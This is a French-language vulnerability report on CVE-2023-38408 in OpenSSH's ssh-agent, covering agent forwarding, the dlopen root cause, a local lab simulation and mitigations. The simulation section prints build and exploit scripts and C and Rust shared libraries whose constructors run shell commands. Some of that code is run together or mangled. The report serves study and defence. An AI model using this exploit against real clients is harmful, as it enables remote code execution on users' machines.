
Une analyse approfondie de CVE 2023 38408, une vulnérabilité critique d'OpenSSH, incluant le contexte technique, l'exploitation dans des environnements contrôlés et les stratégies d'atténuation.
L'objectif de ce rapport est d'analyser CVE-2023-38408, une vulnérabilité critique réelle découverte dans OpenSSH, à la fois par une compréhension théorique et une simulation pratique. Le rapport explique les fondements techniques de la vulnérabilité, démontre comment elle peut être exploitée dans des environnements contrôlés et examine les mesures d'atténuation mises en œuvre.
Comprendre les vulnérabilités de sécurité réelles par la simulation pratique aide non seulement à protéger les systèmes, mais renforce également la sensibilisation des développeurs et des administrateurs système aux vecteurs d'attaque potentiels. L'analyse de ces vulnérabilités comble le fossé entre la théorie et la mise en œuvre pratique de la sécurité.
CVE-2023-38408 est une vulnérabilité qui affecte ssh-agent dans OpenSSH lorsque le support PKCS#11 est activé. Elle permet l'exécution de code à distance sur une machine cliente si l'utilisateur se connecte à un serveur compromis avec le transfert d'agent activé (ssh -A). Cette vulnérabilité a des implications graves pour tout système reposant sur OpenSSH pour l'authentification sécurisée.
SSH (Secure Shell) est un protocole réseau cryptographique utilisé pour les communications sécurisées sur des réseaux non sécurisés. Il fournit des canaux chiffrés pour la connexion à distance, l'exécution de commandes, le transfert de fichiers, etc.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]
### 2.2 Qu'est-ce que ssh-agent
`ssh-agent` est un processus d'arrière-plan qui stocke en mémoire vos clés SSH privées déchiffrées, vous permettant de les utiliser sans avoir à ressaisir les phrases de passe à chaque fois que vous vous connectez à un système distant.
#### Transfert d'agent (ssh -A)
Le transfert d'agent permet à un système distant d'accéder à votre `ssh-agent` local via un socket de domaine Unix. Cela est utile pour chaîner des connexions SSH, mais introduit des risques de sécurité importants si la machine distante est compromise.```mermaid
sequenceDiagram
participant Client as SSH Client
participant Agent as ssh-agent
participant Server as Remote Server
participant Proxy as Agent Proxy
Client->>Agent: Start agent
Client->>Server: ssh -A user@server
Server->>Proxy: Create proxy socket
Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
Server->>Proxy: ssh-add request
Proxy->>Client: Forward request
Client->>Agent: Process request
Agent->>Client: Response
Client->>Proxy: Forward response
Proxy->>Server: Final response
Techniquement, lorsque vous utilisez ssh -A, le client SSH configure un socket de domaine Unix sur le serveur distant qui agit comme un proxy vers votre ssh-agent local. La variable d'environnement SSH_AUTH_SOCK est définie pour pointer vers ce socket proxy. Tous les appels effectués vers SSH_AUTH_SOCK sur le serveur distant sont renvoyés via la connexion SSH et traités par votre ssh-agent local.
PKCS#11 est une API standard pour interagir avec des jetons cryptographiques, tels que les cartes à puce, les YubiKeys, ou les modules de sécurité matériels virtuels (HSM).
Le ssh-agent d'OpenSSH prend en charge le chargement de fournisseurs PKCS#11 (bibliothèques partagées .so) à l'aide de la commande ssh-add -s /path/to/provider.so. Ces bibliothèques permettent à l'agent d'interagir avec des modules matériels ou logiciels sécurisés pour utiliser des clés privées sans les exposer directement.
En interne, lorsque ssh-add -s est appelé, il effectue les opérations suivantes :
.so est chargé dynamiquement en mémoire à l'aide de dlopen().C_Initialize(), C_GetSlotList(), C_FindObjects() et C_Sign() via l'API PKCS#11.La vulnérabilité provient du fait que ssh-agent charge n'importe quel fichier objet partagé (.so) fourni via ssh-add -s, sans vérifier s'il s'agissait d'un fournisseur PKCS#11 légitime.```mermaid
graph TD
A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent]
B --> C[ssh-agent calls dlopen on malicious.so]
C --> D[Constructor function executes immediately]
D --> E[Arbitrary code runs on victim machine]
### 3.3 Analyse du flux d'attaque```mermaid
sequenceDiagram
participant V as Victim
participant A as Attacker
participant Agent as ssh-agent
participant Lib as Malicious .so
V->>A: ssh -A attacker@host
Note over V,A: Agent forwarding enabled
A->>Agent: ssh-add -s /path/to/malicious.so
Agent->>Lib: dlopen("/path/to/malicious.so")
Note over Lib: Constructor executes
Lib->>V: Malicious code runs
Note over V: System compromised
Au niveau le plus bas, la séquence des événements comprend :
ssh-add -s /path/to/lib.sossh-agent local reçoit cette requête et appelle aveuglément dlopen("/path/to/lib.so", RTLD_NOW).so a une fonction constructeur (__attribute__((constructor))), elle s'exécute immédiatement lors du chargementPour démontrer cette vulnérabilité dans un environnement contrôlé, une simulation complète a été réalisée en utilisant plusieurs comptes utilisateurs et terminaux.
sudo adduser victim sudo adduser attacker
#### Configuration de clé SSH pour le transfert d'agent```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost
new-connection.sh)```bash#!/bin/bash
eval $(ssh-agent -k) > /dev/null 2>&1
eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa
ssh -A attacker@localhost
#### Constructeur de payload de l'attaquant (`build-evil.sh`)```bash
#!/bin/bash
set -e
C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"
function build_c() {
sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
echo "C payload built at $OUTPUT_PATH"
}
function build_rust() {
cd "$RUST_DIR"
cargo build --release
cd -
SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
sudo cp "$SO_FILE" "$OUTPUT_PATH"
rm -rf "$RUST_DIR/target"
echo "Rust payload built at $OUTPUT_PATH"
}
case "$1" in
--c) build_c ;;
--rust) build_rust ;;
*) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac
exploit.sh)```bash#!/bin/bash
export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)
ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so
### 4.3 Résultats de la simulation et analyse
#### Comportement attendu dans les systèmes vulnérables
| **Action** | **Réponse du système vulnérable** | **Réponse du système corrigé** |
| ----------------------------- | ------------------------------------ | ------------------------------ |
| `ssh-add -s malicious.so` | La bibliothèque se charge, le constructeur s'exécute | `agent refused operation` |
| Exécution de la charge utile | Crée `/tmp/exploit.log` | Aucune exécution |
| Impact sur le système | Exécution de code à distance | Aucun impact |
#### Résultat réel de la simulation
Lors de l'exécution de la simulation sur un système corrigé (OpenSSH 9.3p2+) :```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation
Observation clé : Même si l'agent refuse l'opération dans les versions corrigées, cette simulation démontre le vecteur d'attaque et aide à comprendre l'impact de la vulnérabilité dans les versions plus anciennes.
// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>
attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }
// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }
#### Alternative basée sur Rust
Utilisation de la crate `ctor` pour les fonctions constructeurs :```rust
// Cargo.toml
[dependencies]
ctor = "0.1"
// lib.rs
use ctor::ctor;
use std::process::Command;
#[ctor]
fn malicious_constructor() {
Command::new("sh")
.arg("-c")
.arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
.output()
.expect("Failed to execute command");
}
La vulnérabilité existe en raison de plusieurs décisions de conception dans l'implémentation de ssh-agent d'OpenSSH :
graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]
### 5.3 Cartographie de la surface d'attaque
| **Vecteur d'attaque** | **Prérequis** | **Niveau d'impact** | **Difficulté de détection** |
| ---------------------- | ---------------------------- | -------------------- | -------------------------- |
| Transfert d'agent | `ssh -A` activé | Critique | Faible |
| Fichier .so malveillant | Accès au système de fichiers | Critique | Moyenne |
| Ingénierie sociale | Interaction utilisateur | Élevé | Élevée |
| Chaîne d'approvisionnement | Fournisseur PKCS#11 compromis | Critique | Très élevé |
---
## 6. Correction et atténuation
### 6.1 Comment cela a été corrigé dans OpenSSH 9.3p2
OpenSSH 9.3p2 a corrigé cette vulnérabilité en introduisant un comportement par défaut sécurisé :
| **Mesure de sécurité** | **Implémentation** | **Effet** |
| ---------------------- | ----------------------------------- | --------------------------------- |
| Désactivation par défaut | Support PKCS#11 désactivé par défaut | Réduit la surface d'attaque |
| Activation explicite | Nécessite le drapeau `-O allow-pkcs11` | Consentement utilisateur requis |
| Validation | Validation renforcée des bibliothèques | Empêche l'exécution de code arbitraire |
#### Modifications de configuration```bash
# Old behavior (vulnerable)
ssh-agent # PKCS#11 enabled by default
# New behavior (secure)
ssh-agent -O allow-pkcs11 # Explicit opt-in required
flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]
### 6.3 Stratégies d'atténuation complètes
#### Actions immédiates
| **Priorité** | **Action** | **Implémentation** |
| ------------ | ------------------------------ | --------------------------------------------------------- |
| Haute | Mettre à niveau OpenSSH | `apt update && apt upgrade openssh-client openssh-server` |
| Haute | Désactiver le transfert d'agent | `ssh -o ForwardAgent=no` |
| Moyenne | Auditer les configurations SSH | Review `/etc/ssh/ssh_config` |
| Moyenne | Surveiller l'utilisation de l'agent | Log ssh-agent activities |
#### Mesures de sécurité à long terme
1. **Durcissement de la configuration SSH** ```
# /etc/ssh/ssh_config
ForwardAgent no
HashKnownHosts yes
VerifyHostKeyDNS yes
Segmentation réseau ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]
Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]
Surveillance et détection ```bash
ps aux | grep ssh-agent
lsof -p $(pgrep ssh-agent) | grep '.so$'
auditctl -w /tmp -p w -k ssh_agent_monitor
CVE-2023-38408 démontre une faille de sécurité critique qui exploitait la relation de confiance entre les clients SSH et les agents. Grâce à une simulation pratique, plusieurs enseignements clés émergent :
Cette analyse de vulnérabilité, enrichie par une simulation pratique, fournit plusieurs leçons critiques :
mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring
### 7.5 Recommandations finales
Sur la base de l'analyse complète et des résultats de simulation :
1. **Immédiat** : Mettre à niveau toutes les installations OpenSSH vers la version 9.3p2 ou ultérieure
2. **Court terme** : Mettre en œuvre des politiques strictes de transfert d'agent et une surveillance
3. **Long terme** : Adopter une architecture réseau de confiance zéro et une authentification basée sur les certificats
4. **En continu** : Maintenir une formation continue en sécurité et des programmes d'évaluation des vulnérabilités
**Point clé** : CVE-2023-38408 rappelle puissamment que des fonctionnalités de commodité comme le transfert d'agent peuvent devenir des vulnérabilités de sécurité critiques lorsqu'elles ne sont pas correctement implémentées. La combinaison d'une compréhension théorique et d'une simulation pratique constitue la base pour construire des défenses robustes contre des attaques similaires à l'avenir.
Grâce à cette analyse complète, les professionnels de la sécurité peuvent mieux comprendre les relations complexes entre les composants SSH et mettre en œuvre les protections appropriées pour protéger leur infrastructure contre des vulnérabilités similaires.
| Détails CVE | Informations |
|---|
| CVE ID | CVE-2023-38408 |
| Score CVSS | 9.8 (Critique) |
| Versions affectées | OpenSSH < 9.3p2 |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Interaction utilisateur | Requis |
| Impact | Compromission complète du système |
| Fonction PKCS#11 | Objectif | Niveau de risque |
|---|
C_Initialize() | Initialiser la bibliothèque | Faible |
C_GetSlotList() | Lister les slots disponibles | Faible |
C_FindObjects() | Trouver les objets cryptographiques | Moyen |
C_Sign() | Signer des données | Élevé |
dlopen() | Charger la bibliothèque partagée | Critique |
| Attribut | Détails |
|---|
| ID | CVE-2023-38408 |
| Sévérité | Élevée (CVSS 9.8) |
| Chronologie | Divulgué en juillet 2023, corrigé dans OpenSSH 9.3p2 |
| Logiciel affecté | Versions d'OpenSSH antérieures à 9.3p2 avec support PKCS#11 |
| Complexité de l'attaque | Faible |
| Vecteur d'attaque | Réseau via le transfert d'agent SSH |
| Étape | Action | Impact |
|---|
| 1 | L'utilisateur exécute ssh -A user@attacker-host | Transfert d'agent activé |
| 2 | L'attaquant prépare malicious.so | Charge utile prête |
| 3 | L'attaquant exécute ssh-add -s /tmp/malicious.so | Requête envoyée à l'agent victime |
| 4 | L'agent charge la bibliothèque malveillante | Le constructeur s'exécute |
| 5 | Le code malveillant s'exécute | Exécution de code à distance réalisée |
| Composant | Configuration | Objectif |
|---|
| Terminal 1 | Utilisateur victim | Client SSH (cible) |
| Terminal 2 | Utilisateur attacker | Serveur SSH (attaquant) |
| Clés SSH | RSA 2048-bit | Authentification sans mots de passe |
| Fichiers de test | Divers scripts shell | Automatisation et livraison de charge utile |
| Problème de conception | Description | Impact |
|---|
| dlopen() sans restriction | Aucune validation des fichiers .so | Permet l'exécution de code arbitraire |
| Exécution du constructeur | Le code s'exécute avant la validation PKCS#11 | Compromission immédiate |
| Confiance dans le transfert d'agent | Aucune authentification pour les demandes transférées | Exploitation à distance possible |
| Support PKCS#11 par défaut | Fonctionnalité activée par défaut | Surface d'attaque plus large |
| Domaine de la politique | Exigence | Méthode de vérification |
|---|
| Utilisation de l'agent SSH | Approbation documentée requise | Audit de conformité des politiques |
| Transfert d'agent | Interdit vers des hôtes non fiables | Surveillance réseau |
| Bibliothèques PKCS#11 | Liste blanche des fournisseurs approuvés | Surveillance de l'intégrité des fichiers |
| Gestion des versions | OpenSSH 9.3p2+ obligatoire | Analyse automatisée des vulnérabilités |
| Catégorie d'impact | Gravité | Description |
|---|
| Confidentialité | Critique | Accès complet aux matériels cryptographiques de l'utilisateur |
| Intégrité | Critique | Capacité de modifier les fichiers système et les configurations |
| Disponibilité | Élevée | Potentiel de perturbation du système ou de déni de service |
| Authentification | Critique | Compromission des mécanismes d'authentification SSH |